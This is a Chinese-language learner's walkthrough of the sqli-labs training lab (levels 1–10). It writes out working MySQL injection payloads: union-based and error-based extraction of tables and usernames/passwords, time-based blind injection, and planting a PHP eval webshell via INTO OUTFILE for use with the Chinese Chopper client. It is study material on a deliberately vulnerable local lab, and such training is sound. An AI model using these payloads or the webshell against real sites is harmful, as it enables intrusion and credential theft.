SQL注入有很多方法,先接触最简单最直观的一种——联合查询注入
联合查询注入原理
联合查询的前提是需要有显示位,而显示位就是通过用户的查询从数据库中返回到页面的数据,是可变化的。
例如:sql-labs前四关都是联合查询注入
sql-labs(一)
输入id=1或id=2,都会返回数据,而且返回的数据不相同。
接下来就开始实战,通过实战来了解联合查询注入的步骤和方法。
一、判断注入点
闭合符号一般是'
,"
,或无闭合符号
或')
,")
--+
为注释符号
在url框中输入?id=2'
,发现
用--+
将后面的字符注释掉,发现
正常显示,说明注入点是单引号。
二、判断列数1
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 4--+
发现
一共三列,接下来就开始联合查询。1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3--+
这里将id
等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来。
在2,3
的位置我们便可插入我们想用的语句了。
三、爆数据库1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,database(),3--+
通过一个database()
函数便可获知当前数据库。
四、爆数据表
在此之前,我们要知道在MySQL中有
information_schema
这个库,该库存放了所有数据库的信息。
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。了解之后,才会更明白一些语句为何这样那样构造,接下来就开始查询数据表。
1 http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
五、爆字段1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
也可以1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
六、爆值1
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
0x3a
是:
用来区分用户名和密码,不至于混淆。
这样,用户名和密码就爆出来了。
sql-labs(二)
1 | http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4--+ |
无闭合符号
sql-labs(三)
1 | http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4--+ |
闭合符号为')
sql-labs(四)
1 | http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4--+ |
闭合符号为")
其他步骤与第一关相同,这里就不阐述了。
接下来介绍第二种注入方式——报错注入
报错注入原理
报错注入是基于没有回显数据,只有报错语句的基础上才使用,例如sql-labs的第五关。
这里即使id输入正确,也只会显示一个YOU are in……,但如果输入错误的语句时,会出现报错语句。
那思路来了,我们可以故意构造报错语句,其中插入我们想要的语句,这样即使报错了,在语句中也含有我们想要的数据。
网上有很多常见的报错注入语句,但是要理解原理,才能更好的使用这些语句。
一、Duplicate entry报错
报错注入的经典语句:1
2union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+
version()可以替换为需要查询的信息。
简化语句:1
union select 1,2,count(*) from information_schema.columns group by concat(version(),floor(rand(0)*2));–+
在使用之前,我们要知道一些函数的作用
Count()计算总数
Concat()连接字符串
Floor()向下取整数
Rand()产生0~1的随机数
rand(0)序列是011011
group by a 会根据a的规则对数据进行分组,而分组的时候,mysql会建立一个临时空表进行分组
这里看了很多大佬的博客,搞清楚了Duplicate entry报错的原理。union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+
网上最常见的语句就是这个,但为何报错?? 因为count()和floor(rand(0)2)的位置问题吗??,其实不是的,这里也就不饶弯子了。其实报错的原因在与rand()
函数在查询的时候会执行了一次,而插入的时候又会执行一次,group by 创建的临时表,第一次查询是0,,因为是空表所以插入这条,而插入的时候rand()又执行了一次,再执行一次因为表中已经有数据1,那么新添加的数据相加变成2,这里相当已经执行了三次(但其实是二次),所以011011就又排到0了,到了第三次执行rand()是值为0,因为表中不存在所以要插入新的数据,这次插入rand()再次执行,所以插入的又是1.而表中已经存在1了此时插入因为重复出现同一个key,就会出现报错 重复出现key。
所以这也是为何floor(rand(0)*2)报错是有条件的,记录必须3条以上的原因
这里我们觉得可以多去看看大佬的博客,他们写的真的非常详细,例如:
MYSQL报错注入原理
sql注入之报错注入
MYSQL常见注入原理
懂其原理,便可做题。
sql-labs(五)
首先判断出单引号闭合
利用经典语句
一、爆出数据库
1 | http://127.0.0.1/sqli-labs-master/Less-5/?id=2' union select 1,2,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+ |
这里要注意的是报错语句会出现一个1,有时可能弄混淆,所以我们加上0x3a
即:
来隔开这个1。
报错语句中又我们想要的信息,数据库名,接下来就爆表名。
二、爆表名1
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+
爆出我们想要的表名
三、爆字段值1
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
1
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
爆出了字段
四、爆值1
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select username from users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+
这样就爆出用户名和密码了。
sql-labs(六)
1 | http://127.0.0.1/sqli-labs-master/Less-6/?id=2" union select 1,2,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+ |
闭合符号为"
其它的步骤与sql-labs(五)相同,一步一步就可以爆出你想要的信息。
通过第七关学到了很多东西,菜刀的使用,而且学到一种注入方法。
首先就先首先菜刀的方法,这个贼过瘾。。。
之前总看大佬的博客中有一句话,我都不知道是什么意思今天终于搞清楚了一些,就先用第七关来练习一下。
第一种方法-使用菜刀
一、判断注入点
但这时的报错语句已经统一规范成这样了,所以只有挨个试。
试出来注入点为1'))
二、查列数
一共三列
三、构造一句话1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_POST["mi"])?>',user() into outfile "D://6.php"--+
注意这里将上传文件路径改为phpstudy的根目录,其他目录菜刀连接时会没有权限。
将一句话文件上传到根目录后,开始动用菜刀,右键点击添加。
地址填入你上传文件的地址
后面的小框中填入一句话中构造的密码1
'<?php @eval($_POST["mi"])?>'
如:我构造的密码为mi
点击连接
这多过瘾,比慢慢爆出数据库过瘾多了,这直接进入服务器了。
第二种方法-手工注入
只要判断出了闭合符号,其他按照那些固定的语句来吧。
一、爆列
这个就不演示了,一共就三列。
二、爆表1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,table_name,3 from information_schema.tables where table_schema='security' into outfile "D://SQL//7.php"--+
去D盘的SQL目录中查看文件
果然显示出来了
三、爆字段1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 into outfile "D://SQL//8.php"--+
四、爆值1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,group_concat(username,0x3a,password),3 from users into outfile "D://SQL//9.php"--+
会发现这些语句都是固定不变的,变的只是一些注入方式而已,所以懂得原理很重要。
sql-labs(八)
与第七关不同的就是没有了报错提醒
闭合符号为:'
1 | http://127.0.0.1/sqli-labs-master/Less-8/?id=1' union select 1,'<?php @eval($_POST["mi"])?>',user() into outfile "D://8.php"--+ |
利用一句话和第七关相同。
手工注入的话和第七关的方法相同,这里就不演示了
接下来就要学习一种新的注入方式,时间延时盲注,具体通过第九关来看。
sql-labs(九)
在第九关中,无论我们怎么判断闭合符号,其显示的只是
因此我们需要换一种方式来查看到底那个是闭合符号
1 | http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(10)--+ |
发现确实延迟了10秒,所以判断'
为闭合符号。
再使用延时注入前,需要知道几个时间注入的函数
sleep() //延迟函数
if(condition,true,false) //条件语句
ascii() //转换成ascii码
substr(“string”,strart,length) //取出字符串里的第几位开始,长度多少的字符
判断数据库名长度1
?id=1' and if(length(database())>1,sleep(4),0) --+
爆出数据库名1
?id=1'and if(ascii(substr(database(),1,1))>M,sleep(5),0) --+
原理很明显,提取数据库中的第一个字符,转化为ascll码,然后和M
相比较,如果大于则睡5秒,否则不睡,这样就可以判断出第一个字符。通过改变substr函数
后面的两个变量和M
,我们就可以对数据库名进行猜解。
不建议手工注入,效率会很低,写一个python脚本跑一下就可以爆出来,目前自己还在学习python,等学完之后再写一个盲注的脚本,直接用别人的总感觉不太好。sql-labs(十)大致也是基于时间盲注的原理,只不过闭合符号不同罢了,就先学习到这里。